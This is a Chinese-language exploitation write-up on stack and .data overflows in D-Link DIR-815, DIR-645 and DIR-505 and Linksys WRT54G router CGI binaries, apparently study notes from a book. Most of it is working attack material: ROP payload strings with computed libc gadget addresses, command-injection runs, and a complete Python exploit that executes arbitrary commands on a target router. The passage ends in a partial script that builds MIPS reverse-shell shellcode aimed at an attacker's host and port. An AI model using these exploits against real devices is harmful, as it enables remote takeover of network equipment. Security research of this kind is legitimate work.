sudo ./cgi_run.sh 'uid=1234'  `python  -c "print 'uid='+'A'*973+'\xff\xc1\x83\x76'+'B'*(993-973-4)+'\xcc\xe9\x7f\x76'+'C'*(1009-993-4)+'\xc8\xe8\x7f\x76'+'D'*(1029-1009-4)+'/bin/sh'"`

问题在这个时候又出现了,那就是发现这里跳转的内存地址中保存的都是0x00,仔细检查vmmap命令找到的动态链接库,发现其大小不对,差了很多,说明这里的动态链接库地址不对。

经过一系列的调试发现,当pwndbg调试没有到进入libc.so.0动态库中调用函数的时候,vmmap是看不到库的真实基址的,只能看到[linker],需要运行到库中的函数才能找到<explored>,所以我们单步调试到程序调用libc.so.0动态库中函数的位置,再用vmmap查看内存情况,可以找到libc.so.0动态库的正确基址地址0x76738000。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  0x400000   0x401000 rwxp     1000 0      /htdocs/web/hedwig.cgi
  0x401000   0x41c000 r-xp    1b000 1000   /htdocs/web/hedwig.cgi
  0x41c000   0x42c000 ---p    10000 1c000  /htdocs/web/hedwig.cgi
  0x42c000   0x42e000 rw-p     2000 1c000  /htdocs/web/hedwig.cgi
0x76738000 0x76796000 r--p    5e000 0      <explored>
0x767e8000 0x767ee000 rwxp     6000 0      <explored>
0x767e9000 0x767ea000 rwxp     1000 0      [linker]
0x767ea000 0x767ee000 r-xp     4000 1000   [linker]
0x767ee000 0x767fd000 ---p     f000 4000   [linker]
0x767fd000 0x767fe000 r--p     1000 4000   [linker]
0x767fe000 0x767ff000 rw-p     1000 5000   [linker]
0x76800000 0x76c06000 rw-p   406000 0      <explored>
0x76ffd000 0x77000000 rw-p     3000 0      [stack]

所以这里的四个填充操控点需要重新计算:

$s0=offset_system-0x1=0x76738000+0x53200-0x1=0x7678b1ff

$s5=offset_gadget1=0x76738000+0x159CC=0x7674d9cc

$ra=offset_gadget2=0x76738000+0x158C8=0x7674d8c8

$sp+0x14C+var_13C=command

重新构造填充字符

#构造字符
'A'*973+0x7678b1ff+'B'*(993-973-4)+0x7674d9cc+'C'*(1009-993-4)+0x7674d8c8+'D'*(1029-1009-4)+command
'A'*973+'\xff\xb1\x78\x76'+'B'*(993-973-4)+'\xcc\xd9\x74\x76'+'C'*(1009-993-4)+'\xc8\xd8\x74\x76'+'D'*(1029-1009-4)+'/bin/sh'+'\x00'
#执行命令
sudo ./cgi_run.sh 'uid=1234'  `python  -c "print 'uid='+'A'*973+'\xff\xb1\x78\x76'+'B'*(993-973-4)+'\xcc\xd9\x74\x76'+'C'*(1009-993-4)+'\xc8\xd8\x74\x76'+'D'*(1029-1009-4)+'/bin/sh'+'\x00'"`

这里程序会在0x7674d9e4处停止运行,根据这个地址和libc.so.0库的基地址,可以计算出这个位置在库中的偏移0x159e4

这里我们将断点下到system函数处(0x7678b200),然后逐步运行查看问题出现在什么地方。最终定位到system执行过程中fork()函数出问题,现阶段判断qemu的user模式在启子进程的过程中出现了一些问题。(我用的时ubuntu16安装的qemu,据说在ubuntu20安装的qemu中没有出现这个问题)

int __fastcall system(int a1)
{
  int result; // $v0
  int v3; // $s2
  int v4; // $s3
  int v5; // $v0
  int v6; // $s4
  int v7; // $s0
  int v8[3]; // [sp+20h] [-Ch] BYREF

  result = 1;
  if ( a1 )
  {
    v3 = signal(3, 1);
    v4 = signal(2, 1);
    v6 = signal(18, 0);
    v5 = fork();//这里fork()返回了一个0x70c2值,也是问题症结所在
    v7 = v5;
    if ( v5 >= 0 )
    {
      if ( !v5 )
      {
        signal(3, 0);
        signal(2, 0);
        signal(18, 0);
        //由于v5不等于0,所以system程序运行不到这个判断函数内,执行不了execl这条命令
        execl("/bin/sh", &off_5A450, &off_5A454, a1, 0);
        exit(127);
      }
      signal(3, 1);
      signal(2, 1);
      if ( wait4(v7, v8, 0, 0) == -1 )
        v8[0] = -1;
      signal(3, v3);
      signal(2, v4);
      signal(18, v6);
      result = v8[0];
    }
    else
    {
      signal(3, v3);
      signal(2, v4);
      signal(18, v6);
      result = -1;
    }
  }
  return result;
}

下面改用qemu的system模式进行调试

注意:这里使用2.x低版本内核的时候gdbserver无法外联,使用高版本3.x的内核后成功外联调试

设置环境变量脚本

#set_environment.sh
INPUT="uid=1234"
TEST="$1"
LEN=$(echo -n "$INPUT" | wc -c)
export CONTENT_LENGTH=$LEN
export CONTENT_TYPE="application/x-www-form-urlencodede"
export SCRIPT_NAME="common"
export REQUEST_METHOD="POST"
export HTTP_COOKIE=$TEST
export REQUEST_URI="/hedwig.cgi"
export REMOTE_ADDR="192.168.33.2"

在qemu-system虚拟机中设置环境变量并运行程序(只有运行加载动态库后才能看到动态库的基地址)

#设置环境变
source set_environment.sh `python -c "print 'uid='+'A'*973+'\xff\xb1\x78\x76'+'B'*(993-973-4)+'\xcc\xd9\x74\x76'+'C'*(1009-993-4)+'\xc8\xd8\x74\x76'+'D'*(1029-1009-4)+'ls'+'\x00'"`
#运行程序
chroot . ./gdbserver 192.168.33.103:1234 ./htdocs/web/hedwig.cgi
#查看进程内存情况
cat /proc/2792/maps
00400000-0041c000 r-xp 00000000 08:01 788479     /root/squashfs-root/htdocs/cgibin
0042c000-0042d000 rw-p 0001c000 08:01 788479     /root/squashfs-root/htdocs/cgibin
0042d000-00430000 rwxp 00000000 00:00 0          [heap]
77f34000-77f92000 r-xp 00000000 08:01 789209     /root/squashfs-root/lib/libuClibc-0.9.30.1.so
77f92000-77fa1000 ---p 00000000 00:00 0
77fa1000-77fa2000 r--p 0005d000 08:01 789209     /root/squashfs-root/lib/libuClibc-0.9.30.1.so
77fa2000-77fa3000 rw-p 0005e000 08:01 789209     /root/squashfs-root/lib/libuClibc-0.9.30.1.so
77fa3000-77fa8000 rw-p 00000000 00:00 0
77fa8000-77fd1000 r-xp 00000000 08:01 789210     /root/squashfs-root/lib/libgcc_s.so.1
77fd1000-77fe1000 ---p 00000000 00:00 0
77fe1000-77fe2000 rw-p 00029000 08:01 789210     /root/squashfs-root/lib/libgcc_s.so.1
77fe2000-77fe7000 r-xp 00000000 08:01 789188     /root/squashfs-root/lib/ld-uClibc-0.9.30.1.so
77ff5000-77ff6000 rw-p 00000000 00:00 0
77ff6000-77ff7000 r--p 00004000 08:01 789188     /root/squashfs-root/lib/ld-uClibc-0.9.30.1.so
77ff7000-77ff8000 rw-p 00005000 08:01 789188     /root/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f7f8000-7fff7000 rwxp 00000000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0          [vdso]
file ./lib/libc.so.0
./lib/libc.so.0: symbolic link to libuClibc-0.9.30.1.so

所以这里的libc.so.0的基地址时0x77f34000,所以这里的填充地址要重新计算

$s0=offset_system-0x1=0x77f34000+0x53200-0x1=0x77f871ff

$s5=offset_gadget1=0x77f34000+0x159CC=0x77f499cc

$ra=offset_gadget2=0x77f34000+0x158C8=0x77f498c8

$sp+0x14C+var_13C=command

#构造字符
'A'*973+0x77f871ff+'B'*(993-973-4)+0x77f499cc+'C'*(1009-993-4)+0x77f498c8+'D'*(1029-1009-4)+command
'A'*973+'\xff\x71\xf8\x77'+'B'*(993-973-4)+'\xcc\x99\xf4\x77'+'C'*(1009-993-4)+'\xc8\x98\xf4\x77'+'D'*(1029-1009-4)+'/bin/sh'+'\x00'
#设置环境变量
source set_environment.sh `python  -c "print 'uid='+'A'*973+'\xff\x71\xf8\x77'+'B'*(993-973-4)+'\xcc\x99\xf4\x77'+'C'*(1009-993-4)+'\xc8\x98\xf4\x77'+'D'*(1029-1009-4)+'/bin/ls'+'\x00'"`
#启动进程
echo "uid=1234" | chroot . ./gdbserver 192.168.33.103:1234 ./htdocs/web/hedwig.cgi

远程调试并继续执行,ls命令执行成功

root@debian-mipsel:~/squashfs-root# echo "uid=1234" | chroot . ./gdbserver 192.168.33.103:1234 ./htdocs/web/hedwig.cgi
Process ./htdocs/web/hedwig.cgi created; pid = 2913
Listening on port 1234
Remote debugging from host 192.168.33.2
command.sh      cgi_run2.sh     etc             proc
dev             sbin            test            usr
lib             var             mnt             gdbserver
sys             tmp             bin             environment.sh
cgi_run.sh      home            www             htdocs

到这里漏洞利用成功(这里还存在一个问题就是直接运行/bin/sh没有成功,但是/bin/ls成功了)。

与DIR815一样下载固件DIR-645_FIRMWARE_1.03,使用binwalk解包分析。由于漏洞点出现在authentication.cgi处理POST的参数passwd过程中。找到漏洞文件authentication.cgi,并找到其链接的二进制文件cgibin。

$ find -name "authentication.cgi"
./htdocs/web/authentication.cgi
$ file ./htdocs/web/authentication.cgi
./htdocs/web/authentication.cgi: broken symbolic link to /htdocs/cgibin
$ file ./htdocs/cgibin
./htdocs/cgibin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

漏洞分析

  • 静态分析

对cgibin进行静态分析,搜索字符串authentication.cgi,查看交叉引用,在0x40B01C处找到处理函数authenticationcgi_main,在0x40B500处找到函数read(fileno(stdin),buffer[1024],content_length)将POST的参数读到缓冲区buffer中,这里的content_length来自于环境变量getenv("CONTENT_LENGTH"),因此可以控制。这里没有对content_length大小进行限制,当content_length长度大于1024字节的时候就会发生缓冲区溢出。

.text:0040B4EC addiu   $s1, $sp, 0xF90+var_430
.text:0040B4F0 lw      $gp, 0xF90+var_F78($sp)
.text:0040B4F4 move    $a0, $v0         # fd
.text:0040B4F8 la      $t9, read
.text:0040B4FC move    $a1, $s1         # buf
.text:0040B500 jalr    $t9 ; read
.text:0040B504 move    $a2, $s0         # nbytes
.text:0040B508 bltz    $v0, loc_40B60C
.text:0040B50C addu    $v0, $s

这里可以看到buffer在栈中的地址是offset_buffer=$sp+0xf90-0x430(后面调试得到是0x76ffee30),所以当填充的字符长度超过0x430=1072字节时便可以覆盖到栈中的返回地址,控制$ra

继续分析下面的流程会发现,在0x40B55C处会调用strstr()函数对POST读到buffer中的参数格式进行匹配。只有当参数格式满足id=xxx&password=xxx时才不会报错。

.text:0040B528 lui     $v0, 0x43
.text:0040B52C sw      $s1, 0xF90+haystack($sp)
.text:0040B530 sw      $s3, 0xF90+dest($sp)
#将用于参数格式比对的字符串偏移0x43308C赋值给$s2,然后作为参数传递给函数strstr
.text:0040B534 addiu   $s2, $v0, (off_43308C - 0x430000)
.text:0040B538 move    $s1, $zero
.text:0040B53C li      $fp, 0x26
.text:0040B540 addiu   $s3, $sp, 0xF90+var_F70
.text:0040B544 li      $s7, 1
.text:0040B548 addiu   $s6, $sp, 0xF90+var_8B8
.text:0040B54C li      $s4, 2
.text:0040B550 loc_40B550:
.text:0040B550 lw      $s0, 0($s2)
.text:0040B554 la      $t9, strstr
.text:0040B558 lw      $a0, 0xF90+haystack($sp)  # haystack
.text:0040B55C jalr    $t9 ; strstr
.text:0040B560 move    $a1, $s0         # needle
.text:0040B564 lw      $gp, 0xF90+var_F78($sp)
.text:0040B568 move    $a0, $s0
#字符串保存位置0x43308C
.data.rel.ro:0043308C off_43308C:     .word aId                # DATA XREF: authenticationcgi_main+518↑o
.data.rel.ro:0043308C                                          # "id="
.data.rel.ro:00433090                 .word aPassword          # "password="
  • 动态调试

检测漏洞点产生崩溃

运行脚本cgi_run.sh

INPUT="$1"
LEN=$(echo -n $INPUT | wc -c)
PORT="1234"
cp $(which qemu-mipsel-static) ./qemu
echo "$INPUT"  | chroot .  ./qemu  -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencodede" -E REQUEST_METHOD="POST"  -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="192.168.31.61" -g $PORT /htdocs/web/authentication.cgi 2>/dev/null
echo "run ok"
rm -f ./qemu

运行命令

sudo ./cgi_run.sh `python -c "print 'id=1234&password='+'A'*2000"

使用gdb动态调试发现出错了,‘A’没有成功覆盖返回地址造成崩溃,程序在0x767e9a00处终止,增加填充字符串的长度也没有成功覆盖返回地址。

动态调试在read函数处下断点,然后逐步运行发现在0x40B514处出现问题,进入函数sub_40A424后直接跳出处理流程。

.text:0040B510 move    $a0, $s3
.text:0040B514 jal     sub_40A424
.text:0040B518 sb      $zero, 0($v0)

我们跟进去看看发现运行到0x7676c8a0处时由于$a1被覆盖成'AAAA',而在内存中找不到0x41414141这个地址,所以崩溃。该位置在libc.so.0库的memcmp函数中,调用流程是sub_40A424函数调用getenv("HTTP_COOKIE")getenv函数调用memcmp函数。

0x7676c8a0    lbu    $v0, ($a1)
*A1   0x41414141 ('AAAA')

我们填充正常长度的字符,查看正常状态下

*A1   0x76fff443 ◂— 'REMOTE_ADDR=192.168.31.61'

说明我们设置的填充字符太长,覆盖了栈中的另外一个关键指针值(应该是保存所有传进来的环境变量参数的位置),导致发生崩溃。根据栈的结构,我们从authenticationcgi_main的栈底offset_buffer+0x430=0x76ffee30+0x430开始找,找到在offset_buffer+0x430+0xd4处找到栈中保存环境变量地址的位置。因此我们的填充字符不能覆盖到栈中保存环境变量的地址的位置。这里存在的是一个栈空间结构的问题,authenticationcgi_main中的read函数发生缓冲区溢出,当溢出的长度过长,依次覆盖authenticationcgi_main栈空间、main函数栈空间和__uClibc_main函数盏空间,一直覆盖到保存环境变量地址的全局变量栈空间,造成后面getenv函数的出错。

pwndbg> x/16wx 0x76ffee30+0x430+0xd4
0x76fff334:	0x76fff424	0x00000000	0x76fff443	0x76fff45d
0x76fff344:	0x76fff47d	0x76fff491	0x76fff4c1	0x76fff4d5
0x76fff354:	0x76fff521	0x76fff534	0x76fff540	0x76fff550
0x76fff364:	0x76fff964	0x76fffeec	0x76fffefd	0x76ffff49
pwndbg> x/s 0x76fff424
0x76fff424:	"/htdocs/web/authentication.cgi"
pwndbg> x/s 0x76fff443
0x76fff443:	"REMOTE_ADDR=192.168.31.61"
pwndbg> x/s 0x76fff45d
0x76fff45d:	"REQUEST_URI=/authentication.cgi"
pwndbg> x/s 0x76fff550
0x76fff550:	"SUDO_COMMAND=./cgi_run.sh id=1234&password=", 'A' <repeats 157 times>...
pwndbg> x/s 0x76fff964
0x76fff964:	"LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...
pwndbg>

我们调整填充字符的的长度,成功劫持返回地址。

跟踪发现这里的覆盖的地址是0x7678ff00,由于getenv函数位于libc.so.0库中,我们在跟踪getenv函数的时候可以用gdb中的指令地址对应IDA中的偏移计算出libc.so.0库的基址是0x76738000,用pwndbg的vmmap指令可以检验基址的正确性。这里有一个注意点,当gdb调试没有到进入库中调用函数的时候,vmmap是看不到库的真实基址的,只能看到[linker],需要运行到库中的函数才能找到<explored>,所以这里覆盖的返回地址在libc.so.0库中,计算偏移为0x57f00,对应的是__uClibc_main函数。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  0x400000   0x401000 rwxp     1000 0      /htdocs/web/authentication.cgi
  0x401000   0x423000 r-xp    22000 1000   /htdocs/web/authentication.cgi
  0x423000   0x433000 ---p    10000 23000  /htdocs/web/authentication.cgi
  0x433000   0x435000 rw-p     2000 23000  /htdocs/web/authentication.cgi
  0x433000   0x436000 rw-p     3000 0      <explored>
0x76738000 0x76796000 r-xp    5e000 0      <explored>
0x76738000 0x76796000 r--p    5e000 0      <explored>
0x767a5000 0x767ac000 rw-p     7000 0      <explored>
0x767ad000 0x767d6000 r--p    29000 0      <explored>
0x767e8000 0x767ee000 rw-p     6000 0      <explored>
0x767e9000 0x767ea000 rwxp     1000 0      [linker]
0x767ea000 0x767ee000 r-xp     4000 1000   [linker]
0x767ee000 0x767fd000 ---p     f000 4000   [linker]
0x767fd000 0x767fe000 r--p     1000 4000   [linker]
0x767fe000 0x767ff000 rw-p     1000 5000   [linker]
0x76ffd000 0x77000000 rw-p     3000 0      [stack]

漏洞利用

这里我们使用与上面DIR815溢出漏洞一样的ROP链,用patternLocOffset.py脚本构造(生成过程不再累述)的填充字符串(保存在test文件中)查看填充四个点的字符串。

sudo ./cgi_run.sh `python -c "print 'id=1234&password='+open('test','r').read(1200)"`
 V0   0x0
*V1   0x36
*A0   0xa
*A1   0x767a906e ◂— 'urlencoded\r\n\r'
*A2   0x36
 A3   0x0
*T0   0xa
*T1   0x76ffdfa4 —▸ 0x76ffe220 ◂— 0x0
*T2   0x6
*T3   0x19999999
 T4   0x0
*T5   0x57
*T6   0x800
*T7   0x40aff4 ◂— lw     $gp, 0x10($sp)
*T8   0x19
*T9   0x76747da0 ◂— 0x3c1c0006
*S0   0x68423868 ('h8Bh')
*S1   0x30694239 ('9Bi0')
*S2   0x42316942 ('Bi1B')
*S3   0x69423269 ('i2Bi')
*S4   0x34694233 ('3Bi4')
*S5   0x42356942 ('Bi5B')
*S6   0x69423669 ('i6Bi')
*S7   0x38694237 ('7Bi8')
*S8   0x42396942 ('Bi9B')
*FP   0x76fff190 ◂— '1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9'
*SP   0x76fff190 ◂— '1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9'
*PC   0x6a42306a ('j0Bj')
pwndbg> x/x $sp+0x14C-0x13C
0x76fff1a0:	0x42376a42

计算几个点的偏移

#$s0
$ python patternLocOffset.py -s 0x68423868
[*] Create pattern string contains 1024 characters
ok!
[+] Possible match at offset 1015 (adjusted another-endian)
[+] take time: 0.0008 s
#$s5
$ python patternLocOffset.py -s 0x42356942
[*] Create pattern string contains 1024 characters
ok!
[+] Possible match at offset 1035 (adjusted another-endian)
[+] take time: 0.0007 s
#$ra
$ python patternLocOffset.py -s 0x6a42306a
[*] Create pattern string contains 1024 characters
ok!
[+] Possible match at offset 1051 (adjusted another-endian)
[+] take time: 0.0006 s
#$sp+0x14C-0x13C
$ python patternLocOffset.py -s 0x42376a42
[*] Create pattern string contains 1024 characters
ok!
[+] Possible match at offset 1071 (adjusted another-endian)
[+] take time: 0.0011 s

需要控制的一样是四个点

$s0=offset_system-0x1=0x76738000+0x53200-0x1=0x7678b1ff

$s5=offset_gadget1=0x76738000+0x159CC=0x7674d9cc

$ra=offset_gadget2=0x76738000+0x158C8=0x7674d8c8

$sp+0x14C+var_13C=command

构造参数重新运行

#构造字符
'A'*1015+0x7678b1ff+'B'*(1035-1015-4)+0x7674d9cc+'C'*(1051-1035-4)+0x7674d8c8+'D'*(1071-1051-4)+command
'A'*1015+'\xff\xb1\x78\x76'+'B'*(1035-1015-4)+'\xcc\xd9\x74\x76'+'C'*(1051-1035-4)+'\xc8\xd8\x74\x76'+'D'*(1071-1051-4)+'/bin/sh'+'\x00'
#执行命令
sudo ./cgi_run.sh `python -c "print 'id=1234&password='+'A'*1015+'\xff\xb1\x78\x76'+'B'*(1035-1015-4)+'\xcc\xd9\x74\x76'+'C'*(1051-1035-4)+'\xc8\xd8\x74\x76'+'D'*(1071-1051-4)+'/bin/busybox'+'\x00'"`

跟踪发现ROP链流程正确运行,但是在0x7674d9e4处程序停止了,这与DIR815一样是在system函数的处理流程出现了问题,是静态模拟运行情况下fork()出现了问题,这里就不再重复研究了。

漏洞分析

在官网下载固件DIR505A1_FW108B07.bin,解包分析。根据书中所讲的漏洞信息点,找到漏洞核心组件my_cgi.cgi

$ file my_cgi.cgi
my_cgi.cgi: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

拖到IDA中进行分析,根据披露出来的信息,漏洞发生在处理storage_path参数的时候,找到storage_path的调用。

get_input_entries函数的0x407AB8处找到一个关于storage_path的调用,仔细分析get_input_entries(entries *buf, int content_length)这个函数的逻辑,并查看其上级调用main函数,发现这是一个执行将输入数据流保存到堆栈上定义的结构体数组buf上功能的函数。

这里逆出来的结构体的定义是:

entries         struc  # (sizeof=0x425, mappedto_16)
name:           .byte 36 dup(?)
value:          .byte 1025 dup(?)
entries         ends
即:
struct entries{
    char name[36];
    char value[1025];
}

这里的问题就在于main函数中没有对content_length参数的大小进行限制。

//main中截取
entries buf[450]; // [sp+58h] [-74920h] BYREF
v9 = getenv("CONTENT_LENGTH");
if ( v9 )
content_length = strtol(v9, 0, 10);
memset(buf, 0, sizeof(buf));
v67 = get_input_entries(buf, content_length);

但是这里还有一个问题,那就是为什么溢出点在storage_path参数的位置?

get_input_entries函数结尾处的判断循环编码解释了这个问题。

//get_input_entries中截取
v12 = v4 + 1;
v14 = 0;
do
{
    //只有当参数格式是“storage_path=xxxx”时,这里才不会进行解码并替换特殊字符
    if ( strcmp(buf->name, "storage_path") )
    {
      v15 = strcmp(buf->name, "path");
      v16 = 1024;
      v17 = 0;
      if ( !v15 )
      {
        memset(v19, 0, sizeof(v19));
        decode(buf->value, v19);
        strcpy(buf->value, v19);
      }
      replace_special_char(buf->value, v17, v16);
    }
    ++v14;
    ++buf;
}
while ( v14 < v12 );

所以这里当get_input_entries函数在没有校验content_length字段的长度值的情况下将POST的storage_path=xxx格式的数据格式化打到大小477450=(36+1025)*450的缓冲区中造成溢出。下面进行动态调试。

编写运行脚本,传参都在脚本cgi_run.sh中进行

#sudo ./cgi_run.sh
INPUT=`python -c "print 'storage_path='+'A'*477450+open('test','r').read(100)"`
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"
cp $(which qemu-mips-static) ./qemu
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="maultipart/form-data" -E SCRIPT_NAME="common" -E REQUEST_METHOD="POST" -E REQUEST_URI="/my_cgi.cgi" -g $PORT /usr/bin/my_cgi.cgi 2>/dev/null
echo "run ok"
rm -f ./qemu

运行脚本,使用gdb-multiarch进行调试运行,发现在跳转到地址0x61374161时发生崩溃,此时$sp+0x28处被覆盖的内容是0x41633241(后面会用到),使用patternLocOffset.py脚本确定覆盖返回地址的偏移位置22+477450=477472,覆盖$sp+0x28处处的字符串偏移是66+477450=477516

$ python patternLocOffset.py -s 0x61374161
[*] Create pattern string contains 1024 characters
ok!
[*] Exact match at offset 22
[+] take time: 0.0016 s
$ python patternLocOffset.py -s 0x41633241
[*] Create pattern string contains 1024 characters
ok!
[*] Exact match at offset 66
[+] take time: 0.0017 s

漏洞利用

由于这里时从输入流中逐个字符读取信息,因此不存在00截断的问题,所以我们可以直接在my_cgi.cgi中找调用system的ROP链,找到0x405B1C处的调用system的gadget1

.text:00405B1C la      $t9, system
.text:00405B20 li      $s1, 0x440000
.text:00405B24 jalr    $t9 ; system
.text:00405B28 addiu   $a0, $sp, 0x64+var_3C  # command

所以我们只需要将上面覆盖地址位置的字符串(即$ra)换成gadget的地址0x405B1C,将$sp+0x28处覆盖成command,就可以执行system(command),从而实现命令执行。根据上面计算的偏移重新构造脚本中的参数

INPUT=`python -c "print 'storage_path='+'A'*477450+'B'*22+'\x00\x40\x5b\x1c'+'C'*(66-22-4)+'/bin/ls'"`

这里发现\x00使用echo传参的时候传不进去,需要在gdb中用set手动修改$ra的值

#重新构造参数,将\x00替换掉
INPUT=`python -c "print 'storage_path='+'A'*477450+'B'*23+'\x40\x5b\x1c'+'C'*(66-22-4)+'/bin/ls'"`
#在跳转到system的地方设置断点
b *0x40B30C
set $ra=0x405b1c

成功跳转到system函数,并正确传递命令,继续跟下去并没有成功执行命令,也没有发现问题所在的地方。

这里找到了真机,验证这个洞在真机中是否存在,由于上面版本的股价刷不进去,这里重新下载了固件DIR505A1_FW108CNB04.bin并刷新到真机上。由于这个固件中很多偏移与之前地固件有所不同,这里需要对偏移进行修改。使用之前的脚本进行运行调试发现不会覆盖返回地址发生崩溃,程序直接结束了。

pwndbg> c
Continuing.
[Inferior 1 (Remote target) exited normally]

在main函数开始地地方下断点,然后逐步调试发现程序在0x40A5AC处直接跳转到main函数地结束位置,研究这部分判断地含义,发现这里对环境变量REMOTE_ADDR地存在进行了判断(如下),而之前分析地固件版本中没有进行判断,所以脚本中要添加环境变量REMOTE_ADDR

remote_addr = (int)getenv("REMOTE_ADDR");
if ( !remote_addr )
    return 0;

增加环境变量后继续调试发现程序仍然退出,仔细研究发现这个版本地固件中增加了对content_length地大小判断,也就是说这个洞被修复了!!!

if ( (unsigned int)(content_length - 1) >= 0x74909 )
    return 0;

所以我们需要将有漏洞地固件刷到真机上,这里我们找到低版本地1.07CN地固件刷到真机上。(这里用qemu模拟测试可知1.07CN中地各种覆盖偏移与1.08中是一样的),但是gadget位置变了0x405C5C

.text:00405C5C la      $t9, system
.text:00405C60 li      $s1, loc_430000
.text:00405C64 jalr    $t9 ; system
.text:00405C68 addiu   $a0, $sp, 0x64+var_3C  # command

下面编写exp

import sys
import urllib2
try:
        target = sys.argv[1]
        command = sys.argv[2]
except:
        print "Usage: %s <target><command>" % sys.argv[0]
        sys.exit(1)
url = "http://%s/my_cgi.cgi" % target
buf = "storage_path="
buf += "D" * 477472
buf += "\x00\x40\x5C\x5C"
buf += "E" * (66 - 22 - 4)
buf += command
buf += "\x00"
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

运行exp可以执行命令,对于ls等命令存在回显。

python exploit.py 192.168.2.1 "reboot"

第13章 Linksys WRT54G路由器溢出漏洞分析——运行环境分析

下载固件WRT54GV3.1_4.00.7_US_code.bin,使用binwalk解包获得文件系统。

binwalk -Me WRT54GV3.1_4.00.7_US_code.bin

漏洞分析

根据漏洞公告,漏洞点在httpd程序apply.cgi处理脚本的地方,将httpd程序放到IDA中分析。

找到处理apply.cgi发送post请求包的函数do_apply_post,分析发现这里将post的长度为content_length数据读取到post_buf(0x10001AD8),而post_buf不是定义在堆栈中,二是定义在.data段中的全局变量,所以post的数据会被填充到大小为10000字节的.data区域。由于这里没有对content_length的大小进行限定,所以当content_length大于10000的时候,写入的数据就会覆盖到post_buf的范围之外,造成溢出,甚至覆盖到其他段中。

wreadlen = wfread(post_buf, 1, content_length, fheadle);
.data:10001AD8                 .globl post_buf
.data:10001AD8  # _BYTE post_buf[10000]
.data:10001AD8 post_buf:       .byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.data:10001AD8                                          # DATA XREF: LOAD:00401AC4↑o
.data:10001AD8                                          # do_apply_post:loc_411288↑o ...
.data:10001AD8                 .byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.data:10001AD8                 .byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
......
......
......

漏洞利用

do_apply_post函数在调用wfread(post_buf, 1, content_length, fheadle);后调用了函数strlen,只要溢出得数据覆盖修改.extern段中0x1000D0F0处的strlen函数地址,就可以在调用wfread函数之后劫持调用strlen函数的流程,从而执行任意地址的代码。

这里通过IDA的“View——Open subviews——segments”可以查看各个段的排布情况,发现.extern段在.data段下面,所以覆盖是可行的。

extern:1000D0EC                 .extern __uClibc_start_main
extern:1000D0EC                                          # CODE XREF: start+48↑p
extern:1000D0EC                                          # DATA XREF: start+40↑o ...
extern:1000D0F0                 .extern strlen           # CODE XREF: sub_404A60+F4↑p
extern:1000D0F0                                          # init_cgi+50↑p ...
extern:1000D0F4                 .extern daemon           # CODE XREF: main+554↑p
extern:1000D0F4                                          # DATA XREF: main+54C↑o ...
extern:1000D0F8                 .extern strspn           # CODE XREF: sub_406918+428↑p
extern:1000D0F8                                          # sub_406918+490↑p ...
extern:1000D0FC                 .extern gmtime           # CODE XREF: sub_405EDC+E8↑p
extern:1000D0FC                                          # DATA XREF: sub_405EDC+E0↑o ...

要填充的长度是0x1000D0F0-0x10001AD8=0xb618=46616,接下来的四个字节覆盖strlen函数的地址,实现劫持。

$ checksec httpd
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

这里在post_buf的开头填充nop和shellcode,然后将strlen函数的地址覆盖成0x10001AD8劫持执行shellcode

import sys
import struct,socket
import urllib2
def makepayload(host,port):
    print '[*] prepare shellcode',
    hosts = struct.unpack('<cccc',struct.pack('<L',host))
    ports = struct.unpack('<cccc',struct.pack('<L',port))
    mipselshell ="\xfa\xff\x0f\x24"   # li t7,-6
    mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
    mipselshell+="\xfd\xff\xe4\x21"   # addi a0,t7,-3
    mipselshell+="\xfd\xff\xe5\x21"   # addi a1,t7,-3
    mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
    mipselshell+="\x57\x10\x02\x24"   # li v0,4183 # sys_socket
    mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
    mipselshell+="\xff\xff\xa2\xaf"   # sw v0,-1(sp)
    mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
    mipselshell+="\xfd\xff\x0f\x34"   # li t7,0xfffd
    mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
    mipselshell+="\xe2\xff\xaf\xaf"   # sw t7,-30(sp)
